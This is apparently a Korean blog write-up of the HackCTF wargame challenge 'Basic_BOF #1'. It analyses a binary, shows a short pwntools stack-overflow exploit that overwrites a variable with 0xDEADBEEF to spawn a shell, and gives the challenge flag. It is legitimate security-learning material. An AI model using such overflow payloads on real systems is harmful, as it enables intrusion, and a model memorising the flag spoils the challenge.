HACK CTF 문제들도 슬슬 라업을 적어 볼까 한다. 우선 Basis_BOF #1라는 문제이다.
요기서 bof_basic이라는 바이너리를 다운로드한 후 실행시켜 보면,
다음과 같이 입력을 한 줄 받음을 확인할 수 있고 "adsfasdf"라는 문자를 입력해보면 자기가 입력한 문자랑 [check] : 16 진수 값
으로 출력됨을 확인 할 수 있다.
ida로 분석을 해보면,
0x34 만큼 버퍼가 할당돼 있음을 알 수 있고, 만약 v5라는 변수가 0xDEADBEEF 값이면 system 함수의 "/bin/bash"
가 실행됨을 알 수 있다. 그러나 현재 저 v5는 0xDEADBEEF 가 아니므로 fgets 함수에서의 입력을 통해 v5를 덮으면 될 것이다.
전체 버퍼의 크기가 0x34이고 v5 변수의 위치는 ebp로부터 0xC만큼 떨어져 있으므로, 0x34-0xc = 40 만큼 버퍼를 채워주고
그다음부터 0xDEADBEEF로 덮어주면 익스가 될 것이다. 익스플로잇 코드는 다음과 같이 짰다.
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
payload=''
payload+="A"*(0x34-0xC)
payload+=p32(0xdeadbeef)
p.sendline(payload)
p.interactive()
|
처음부터 remote로 익스를 시도해본 다음 만약 안되면 로컬에서 디버깅해보면서 고치려 했는데 다행이게도 익스가 되었당
FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}
'WARGAME > hack ctf' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) | 2020.03.09 |
---|---|
x64 Simple_size_BOF (0) | 2020.03.09 |
x64 Buffer Overflow (0) | 2020.03.09 |
내 버퍼가 흘러넘친다!!! (0) | 2020.03.09 |
Basic_BOF #2 (0) | 2020.02.16 |